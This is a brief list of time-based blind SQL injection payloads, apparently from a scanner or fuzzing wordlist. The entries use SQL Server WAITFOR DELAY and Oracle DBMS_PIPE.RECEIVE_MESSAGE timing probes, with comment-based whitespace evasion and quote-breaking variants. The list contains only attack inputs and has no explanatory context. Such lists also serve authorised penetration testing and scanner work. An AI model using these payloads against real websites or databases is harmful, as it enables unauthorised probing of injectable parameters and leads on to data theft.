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123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

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123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

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123456'and(select+1)>0waitfor/**/delay'0:0:0

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123456'and(select+1)>0waitfor/**/delay'0:0:2

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123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('o',0)

123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('y',2)

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123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',2)='m

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